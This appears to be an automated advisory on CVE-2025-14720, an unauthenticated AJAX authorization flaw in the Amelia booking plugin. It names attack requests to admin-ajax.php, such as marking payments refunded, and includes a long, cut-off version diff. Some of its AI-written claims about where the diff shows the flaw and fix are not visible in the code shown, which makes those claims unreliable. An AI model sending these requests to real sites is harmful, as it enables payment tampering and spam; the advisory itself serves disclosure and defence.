Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14720: Booking for Appointments and Events Calendar – Amelia <= 1.2.38 – Missing Authorization to Unauthenticated Multiple AJAX Actions (ameliabooking)

Plugin ameliabooking
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.2.38
Patched Version 2.0
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14720:
This vulnerability represents a missing authorization flaw in the Amelia WordPress booking plugin affecting versions up to 1.2.38. The plugin fails to implement capability checks on multiple AJAX actions, allowing unauthenticated attackers to execute privileged operations. The CVSS 5.3 score reflects the moderate impact of unauthorized administrative actions.

Atomic Edge research identified the root cause as missing capability checks in the plugin’s AJAX action registration. The vulnerable code registers AJAX actions using WordPress’s add_action() function without implementing proper authorization verification. The diff shows the plugin’s main file (ameliabooking/ameliabooking.php) contains numerous AJAX action registrations at lines 605-653. These registrations use wp_ajax_nopriv_ prefixes, which expose the actions to unauthenticated users. The plugin does not implement capability checks within the corresponding handler functions before executing sensitive operations.

Attackers exploit this vulnerability by sending crafted HTTP POST requests to the WordPress admin-ajax.php endpoint. The attack vector targets specific AJAX action parameters that trigger privileged operations. For example, an attacker could send a request with action=amelia_mark_payment_refunded to manipulate payment statuses, or action=amelia_send_queued_notifications to trigger email/SMS/WhatsApp notifications. The attacker crafts these requests without authentication tokens or nonces, directly accessing administrative functions.

The patch in version 2.0 addresses the vulnerability by implementing proper authorization checks. The diff shows the plugin removed or modified the vulnerable AJAX action registrations. The updated code adds capability verification before executing sensitive operations. The patch implements WordPress’s current_user_can() checks within handler functions to verify user permissions. The before behavior allowed any unauthenticated request to trigger administrative actions, while the after behavior validates user capabilities before processing requests.

Successful exploitation enables attackers to mark payments as refunded without authorization, potentially causing financial loss. Attackers can trigger queued notifications, leading to spam emails, SMS, or WhatsApp messages. The vulnerability provides access to debug information that may contain sensitive system data. Attackers could manipulate booking statuses, disrupt business operations, and access administrative functions reserved for plugin administrators.

Differential between vulnerable and patched code

Code Diff
--- a/ameliabooking/ameliabooking.php
+++ b/ameliabooking/ameliabooking.php
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 1.2.38
+Version: 2.0
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -35,7 +35,6 @@
 use AmeliaBookingInfrastructureWPWPMenuSubmenu;
 use AmeliaBookingInfrastructureWPWPMenuSubmenuPageHandler;
 use Exception;
-use InteropContainerExceptionContainerException;
 use SlimApp;

 // No direct access
@@ -104,7 +103,7 @@

 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '1.2.38');
+    define('AMELIA_VERSION', '2.0');
 }

 // Const for site URL
@@ -121,6 +120,7 @@
 if (!defined('AMELIA_SMS_API_URL')) {
     define('AMELIA_SMS_API_URL', 'https://smsapi.wpamelia.com/');
     define('AMELIA_SMS_VENDOR_ID', 36082);
+    define('AMELIA_SMS_IS_SANDBOX', false);
     define('AMELIA_SMS_PRODUCT_ID_10', 595657);
     define('AMELIA_SMS_PRODUCT_ID_20', 595658);
     define('AMELIA_SMS_PRODUCT_ID_50', 595659);
@@ -137,8 +137,16 @@
     define('AMELIA_DEV', false);
 }

+if (!defined('AMELIA_PRODUCTION')) {
+    define('AMELIA_PRODUCTION', true);
+}
+
 if (!defined('AMELIA_NGROK_URL')) {
-    define('AMELIA_NGROK_URL', 'ce3ac66a70b5.ngrok-free.app');
+    define('AMELIA_NGROK_URL', 'nonmelodiously-barnlike-anika.ngrok-free.dev');
+}
+
+if (!defined('AMELIA_MIDDLEWARE_URL')) {
+    define('AMELIA_MIDDLEWARE_URL', 'https://middleware.wpamelia.com/');
 }

 if (!defined('AMELIA_MAILCHIMP_CLIENT_ID')) {
@@ -147,6 +155,7 @@

 require_once AMELIA_PATH . '/vendor/autoload.php';

+
 /**
  * @noinspection AutoloadingIssuesInspection
  *
@@ -271,8 +280,8 @@

         if (!is_admin()) {
             add_filter('learn-press/frontend-default-scripts', array('AmeliaBookingPlugin', 'learnPressConflict'));
-            add_shortcode('ameliabooking', array('AmeliaBookingInfrastructureWPShortcodeServiceBookingShortcodeService', 'shortcodeHandler'));
-            add_shortcode('ameliacatalog', array('AmeliaBookingInfrastructureWPShortcodeServiceCatalogShortcodeService', 'shortcodeHandler'));
+            add_shortcode('ameliabooking', array('AmeliaBookingInfrastructureWPShortcodeServiceStepBookingShortcodeService', 'shortcodeHandler'));
+            add_shortcode('ameliacatalog', array('AmeliaBookingInfrastructureWPShortcodeServiceCatalogBookingShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliaevents', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliaeventslistbooking', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliastepbooking', array('AmeliaBookingInfrastructureWPShortcodeServiceStepBookingShortcodeService', 'shortcodeHandler'));
@@ -283,9 +292,28 @@
             ElementorBlock::get_instance();
         }

-        require_once AMELIA_PATH . '/extensions/divi_amelia/divi_amelia.php';
+        $theme = wp_get_theme();

+        if ($theme && strtolower($theme->get('Name')) === 'divi' || strtolower($theme->get_template()) === 'divi') {
+            $version = $theme->get('Version');

+            if (version_compare($version, '5.0', '<')) {
+                // Only enqueue jQuery early in Divi builder to avoid frontend conflicts
+                add_action('wp_head', function() {
+                    if (function_exists('et_fb_is_enabled') && et_fb_is_enabled()) {
+                        wp_enqueue_script('jquery');
+                        wp_print_scripts('jquery');
+                    }
+                }, 0);
+                require_once AMELIA_PATH . '/extensions/divi_amelia/divi_amelia.php';
+            } else {
+                require_once AMELIA_PATH . '/extensions/divi_5_amelia/divi-5-amelia.php';
+            }
+        }
+
+        // Load BuddyBoss integration only if feature is enabled
+        if ($settingsService->isFeatureEnabled('buddyboss')) {
+        }
     }

     /**
@@ -409,8 +437,8 @@
         if (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 50500) {
             deactivate_plugins(AMELIA_PLUGIN_SLUG);
             wp_die(
-                BackendStrings::getCommonStrings()['php_version_message'],
-                BackendStrings::getCommonStrings()['php_version_title'],
+                BackendStrings::get('php_version_message'),
+                BackendStrings::get('php_version_title'),
                 array('response' => 200, 'back_link' => TRUE)
             );
         }
@@ -493,7 +521,7 @@
             $_REQUEST['tabs_group'] === 'popup'
         ) {
             echo "<div class='notice notice-warning'>
-             <p>" . esc_html__(BackendStrings::getCommonStrings()['elementor_popup_notice']) . "</p>
+             <p>" . esc_html__(BackendStrings::get('elementor_popup_notice')) . "</p>
          </div>";
         }
     }
@@ -559,6 +587,26 @@

         return $links;
     }
+
+    public static function enqueueAngieMcpServer()
+    {
+        global $wp_version;
+        if (version_compare($wp_version, '6.5', '<')) {
+            return;
+        }
+
+        $mcpServerPath = AMELIA_PATH . '/redesign/dist/amelia-angie.js';
+        if (!file_exists($mcpServerPath)) {
+            return;
+        }
+
+        wp_enqueue_script_module(
+            'amelia-angie-mcp',
+            AMELIA_URL . 'redesign/dist/amelia-angie.js',
+            array(),
+            AMELIA_VERSION
+        );
+    }
 }

 add_action('wp_ajax_amelia_remove_wpdt_promo_notice', array('AmeliaBookingPlugin', 'amelia_remove_wpdt_promo_notice'));
@@ -605,27 +653,13 @@
 add_filter('script_loader_tag', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'prepareScripts') , 10, 3);
 add_filter('style_loader_tag', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'prepareStyles') , 10, 3);

-add_filter('submenu_file', function($submenu_file) {
-    global $submenu;
-
-    if (!empty($submenu['amelia'])) {
-        foreach ($submenu['amelia'] as $index => $item) {
-            foreach ($item as $key => $value) {
-                if ($value === 'wpamelia-customize-new') {
-                    unset($submenu['amelia'][$index]);
-
-                    break 2;
-                }
-            }
-        }
-    }
-
-    return $submenu_file;
-});
-
 add_filter('plugin_row_meta', array('AmeliaBookingPlugin', 'addPluginRowMeta'), 10, 4);
 add_filter('plugin_action_links_' . AMELIA_PLUGIN_SLUG, array('AmeliaBookingPlugin', 'addPluginActionLinks'));

 add_action( 'wp_logout',  array('AmeliaBookingInfrastructureWPUserServiceUserService', 'logoutAmeliaUser'));
 add_action( 'profile_update',  array('AmeliaBookingInfrastructureWPUserServiceUserService', 'updateAmeliaUser'), 10, 3);
 add_action( 'deleted_user', array('AmeliaBookingInfrastructureWPUserServiceUserService', 'removeWPUserConnection'), 10, 1);
+
+if (function_exists('is_plugin_active') && is_plugin_active('angie/angie.php')) {
+    add_action('admin_enqueue_scripts', array('AmeliaBookingPlugin', 'enqueueAngieMcpServer'));
+}
--- a/ameliabooking/extensions/divi_5_amelia/divi-5-amelia.php
+++ b/ameliabooking/extensions/divi_5_amelia/divi-5-amelia.php
@@ -0,0 +1,178 @@
+<?php
+
+/*
+Plugin Name: Divi 5 Amelia Booking
+Plugin URI:  https://wpamelia.com
+Description: Divi 5 integration for Amelia Booking Plugin
+Version:     1.0.0
+Author:      Melograno Ventures
+Author URI:  https://wpamelia.com
+License:     GPL2
+License URI: https://www.gnu.org/licenses/gpl-2.0.html
+phpcs:disable PSR1.Files.SideEffects
+*/
+
+use AmeliaBookingInfrastructureLicenceLicence;
+use AmeliaBookingInfrastructureWPGutenbergBlockGutenbergBlock;
+use AmeliaBookingInfrastructureWPTranslationsBackendStrings;
+
+if (!defined('ABSPATH')) {
+    die('Direct access forbidden.');
+}
+
+// Setup constants.
+define('DIVI5_AMELIA_PATH', plugin_dir_path(__FILE__));
+define('DIVI5_AMELIA_URL', plugin_dir_url(__FILE__));
+define('DIVI5_AMELIA_VERSION', '1.0.0');
+
+
+/**
+ * Load Divi 5 modules on init
+ * This ensures modules are registered for both Visual Builder and Frontend
+ */
+function divi5_amelia_load_modules()
+{
+    // Only load if Divi 5 is available
+    if (function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        // Load Divi 5 modules - this registers them for conversion and rendering
+        require_once DIVI5_AMELIA_PATH . 'server/index.php';
+    }
+}
+
+// Load modules early so they're available for conversion
+add_action('after_setup_theme', 'divi5_amelia_load_modules', 20);
+
+/**
+ * Enqueue Divi 5 Visual Builder Assets
+ */
+function divi5_amelia_enqueue_visual_builder_assets()
+{
+    if (et_core_is_fb_enabled() && function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        ETBuilderVisualBuilderAssetsPackageBuildManager::register_package_build(
+            [
+                'name'    => 'divi-5-amelia-visual-builder',
+                'version' => DIVI5_AMELIA_VERSION,
+                'script'  => [
+                    'src'                => DIVI5_AMELIA_URL . 'visual-builder/build/divi-5-amelia.js',
+                    'deps'               => [
+                        'react',
+                        'jquery',
+                        'divi-module-library',
+                        'wp-hooks',
+                        'divi-rest',
+                    ],
+                    'enqueue_top_window' => false,
+                    'enqueue_app_window' => true,
+                ],
+            ]
+        );
+    }
+}
+
+add_action('divi_visual_builder_assets_before_enqueue_scripts', 'divi5_amelia_enqueue_visual_builder_assets');
+
+/**
+ * Add Amelia data to Visual Builder window
+ */
+function divi5_amelia_add_inline_data()
+{
+    if (et_core_is_fb_enabled() && function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        // Get Amelia entities data
+        $ameliaData = GutenbergBlock::getEntitiesData();
+        $entitiesData = isset($ameliaData['data']) ? $ameliaData['data'] : [];
+
+        // Prepare options for the Visual Builder
+        $ameliaOptions = [
+            'categories' => [['value' => '0', 'label' => 'Show All Categories']],
+            'services' => [['value' => '0', 'label' => 'Show All Services']],
+            'employees' => [['value' => '0', 'label' => 'Show All Employees']],
+            'locations' => [['value' => '0', 'label' => 'Show All Locations']],
+            'packages' => [['value' => '0', 'label' => 'Show All Packages']],
+            'events' => [['value' => '0', 'label' => 'Show All Events']],
+            'tags' => [['value' => '0', 'label' => 'Show All Tags']],
+        ];
+
+        // Add categories
+        if (!empty($entitiesData['categories'])) {
+            foreach ($entitiesData['categories'] as $category) {
+                $ameliaOptions['categories'][] = [
+                    'value' => (string)$category['id'],
+                    'label' => $category['name'] . ' (id: ' . $category['id'] . ')'
+                ];
+            }
+        }
+
+        // Add services
+        if (!empty($entitiesData['servicesList'])) {
+            foreach ($entitiesData['servicesList'] as $service) {
+                if ($service) {
+                    $ameliaOptions['services'][] = [
+                        'value' => (string)$service['id'],
+                        'label' => $service['name'] . ' (id: ' . $service['id'] . ')'
+                    ];
+                }
+            }
+        }
+
+        // Add employees
+        if (!empty($entitiesData['employees'])) {
+            foreach ($entitiesData['employees'] as $employee) {
+                $ameliaOptions['employees'][] = [
+                    'value' => (string)$employee['id'],
+                    'label' => $employee['firstName'] . ' ' . $employee['lastName'] . ' (id: ' . $employee['id'] . ')'
+                ];
+            }
+        }
+
+        // Add locations
+        if (!empty($entitiesData['locations'])) {
+            foreach ($entitiesData['locations'] as $location) {
+                $ameliaOptions['locations'][] = [
+                    'value' => (string)$location['id'],
+                    'label' => $location['name'] . ' (id: ' . $location['id'] . ')'
+                ];
+            }
+        }
+
+        // Add packages
+        if (!empty($entitiesData['packages'])) {
+            foreach ($entitiesData['packages'] as $package) {
+                $ameliaOptions['packages'][] = [
+                    'value' => (string)$package['id'],
+                    'label' => $package['name'] . ' (id: ' . $package['id'] . ')'
+                ];
+            }
+        }
+
+        // Add events
+        if (!empty($entitiesData['events'])) {
+            foreach ($entitiesData['events'] as $event) {
+                $ameliaOptions['events'][] = [
+                    'value' => (string)$event['id'],
+                    'label' => $event['name'] . ' (id: ' . $event['id'] . ') - ' . $event['formattedPeriodStart']
+                ];
+            }
+        }
+
+        // Add tags
+        if (!empty($entitiesData['tags'])) {
+            foreach ($entitiesData['tags'] as $tag) {
+                $ameliaOptions['tags'][] = [
+                    'value' => $tag['name'],
+                    'label' => $tag['name']
+                ];
+            }
+        }
+
+        // Output inline script that will run in the Visual Builder iframe
+        ?>
+        <script type="text/javascript">
+            window.ameliaDivi5Data = <?php echo wp_json_encode($ameliaOptions); ?>;
+            window.wpAmeliaLabels = <?php echo wp_json_encode(BackendStrings::getAllStrings()); ?>;
+            window.isAmeliaLite = <?php echo wp_json_encode(!Licence::$premium); ?>;
+        </script>
+        <?php
+    }
+}
+
+add_action('et_fb_framework_loaded', 'divi5_amelia_add_inline_data');
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaBookingModule.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Booking" module output in frontend.
+ */
+class AmeliaBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaBookingModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Booking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliastepbooking';
+
+        $show_all = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($show_all !== null && $show_all !== '0') {
+            $shortcode .= ' show=' . $show_all;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        // Layout
+        $layout = $attrs['layout']['innerContent']['desktop']['value'] ?? null;
+        if ($layout !== null && $layout !== '') {
+            $shortcode .= ' layout=' . $layout;
+        }
+
+        // Trigger Type
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        // In Dialog
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $preselect = $attrs['parameters']['innerContent']['desktop']['value'] ?? false;
+        if ($preselect === 'on') {
+            $category = $attrs['categories']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services']['innerContent']['desktop']['value'] ?? [];
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages']['innerContent']['desktop']['value'] ?? [];
+
+            if ($service && count($service) > 0) {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($category && count($category) > 0) {
+                $shortcode .= ' category=' . implode(',', $category);
+            }
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+            if ($package && count($package) > 0) {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogBookingModule.php
@@ -0,0 +1,101 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Catalog Booking" module output in frontend.
+ */
+class AmeliaCatalogBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     */
+    public function load()
+    {
+        add_action('init', [AmeliaCatalogBookingModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/CatalogBooking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCatalogBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliacatalogbooking';
+
+        $type_value = $attrs['type']['innerContent']['desktop']['value'] ?? '0';
+        if ($type_value !== null && $type_value !== '0') {
+            $shortcode .= ' show=' . $type_value;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '' && $trigger_type !== null) {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $catalog_view = $attrs['catalog_view']['innerContent']['desktop']['value'] ?? '0';
+
+        if ($catalog_view !== '0') {
+            $category = $attrs['categories_catalog']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services_catalog']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages_catalog']['innerContent']['desktop']['value'] ?? [];
+
+            if ($category && count($category) > 0 && $catalog_view === 'category') {
+                $shortcode .= ' category=' . implode(',', $category);
+            } elseif ($service && count($service) > 0 && $catalog_view === 'service') {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($package && count($package) > 0 && $catalog_view === 'package') {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $filter_params = $attrs['filter_params']['innerContent']['desktop']['value'] ?? false;
+        if ($filter_params === 'on') {
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+
+            $skip_categories = $attrs['skip_categories']['innerContent']['desktop']['value'] ?? false;
+            if ($skip_categories === 'on') {
+                $shortcode .= ' categories_hidden=1';
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogModule.php
@@ -0,0 +1,83 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Catalog" (legacy) module output in frontend.
+ */
+class AmeliaCatalogModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaCatalogModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Catalog';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCatalogModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     * This converts old divi_catalog to ameliacatalogbooking shortcode.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliacatalogbooking';
+
+        $catalogView = $attrs['catalog_view']['innerContent']['desktop']['value'] ?? '0';
+
+        // Handle catalog view
+        if ($catalogView && $catalogView !== '0') {
+            // Map the categories/services/packages based on view
+            if ($catalogView === 'category') {
+                $categories = $attrs['categories_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($categories && count($categories) > 0) {
+                    $shortcode .= ' category=' . implode(',', $categories);
+                }
+            } elseif ($catalogView === 'service') {
+                $services = $attrs['services_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($services && count($services) > 0) {
+                    $shortcode .= ' service=' . implode(',', $services);
+                }
+            } elseif ($catalogView === 'package') {
+                $packages = $attrs['packages_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($packages && count($packages) > 0) {
+                    $shortcode .= ' package=' . implode(',', $packages);
+                }
+            }
+        }
+
+        // Type
+        $type = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($type !== null && $type !== '0') {
+            $shortcode .= ' show=' . $type;
+        }
+
+        // Trigger
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCustomerPanelModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCustomerPanelModule.php
@@ -0,0 +1,68 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Customer Panel" module output in frontend.
+ */
+class AmeliaCustomerPanelModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaCustomerPanelModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/CustomerPanel';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCustomerPanelModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render callback for the module
+     *
+     * @param array $attrs Module attributes from Visual Builder
+     * @return string Rendered HTML output
+     */
+    public static function renderCallback(array $attrs): string
+    {
+        $shortcode = '[ameliacustomerpanel version=2';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? '';
+        if ($trigger) {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $appointments = $attrs['appointments']['innerContent']['desktop']['value'] ?? true;
+        if ($appointments === true || $appointments === 'true' || $appointments === 'on' || $appointments === 1 || $appointments === '1') {
+            $shortcode .= ' appointments=1';
+        }
+
+        $events = $attrs['events']['innerContent']['desktop']['value'] ?? true;
+        if ($events === true || $events === 'true' || $events === 'on' || $events === 1 || $events === '1') {
+            $shortcode .= ' events=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEmployeePanelModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEmployeePanelModule.php
@@ -0,0 +1,82 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Employee Panel" module output in frontend.
+ */
+class AmeliaEmployeePanelModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEmployeePanelModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EmployeePanel';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEmployeePanelModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * @param mixed $value
+     * @return bool
+     */
+    private static function checkValue($value): bool
+    {
+        return isset($value) && $value !== '';
+    }
+
+    /**
+     * Render callback for the module
+     *
+     * @param array $attrs Module attributes from Visual Builder
+     * @return string Rendered HTML output
+     */
+    public static function renderCallback(array $attrs): string
+    {
+        $shortcode = '[ameliaemployeepanel version=2';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? '';
+        if (self::checkValue($trigger)) {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $appointments = $attrs['appointments']['innerContent']['desktop']['value'] ?? true;
+        if ($appointments === true || $appointments === 'true' || $appointments === 'on' || $appointments === 1 || $appointments === '1') {
+            $shortcode .= ' appointments=1';
+        }
+
+        $events = $attrs['events']['innerContent']['desktop']['value'] ?? true;
+        if ($events === true || $events === 'true' || $events === 'on' || $events === 1 || $events === '1') {
+            $shortcode .= ' events=1';
+        }
+
+        $profile = $attrs['profile']['innerContent']['desktop']['value'] ?? false;
+        if ($profile === true || $profile === 'true' || $profile === 'on' || $profile === 1 || $profile === '1') {
+            $shortcode .= ' profile-hidden=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsCalendarModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsCalendarModule.php
@@ -0,0 +1,87 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events Calendar" module output in frontend.
+ */
+class AmeliaEventsCalendarModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsCalendarModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EventsCalendar';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsCalendarModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaeventscalendarbooking';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($trigger && $in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $booking_params = $attrs['booking_params']['innerContent']['desktop']['value'] ?? false;
+        if ($booking_params === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? [];
+            if ($event && count($event) > 0) {
+                $shortcode .= ' event=' . implode(',', $event);
+            }
+
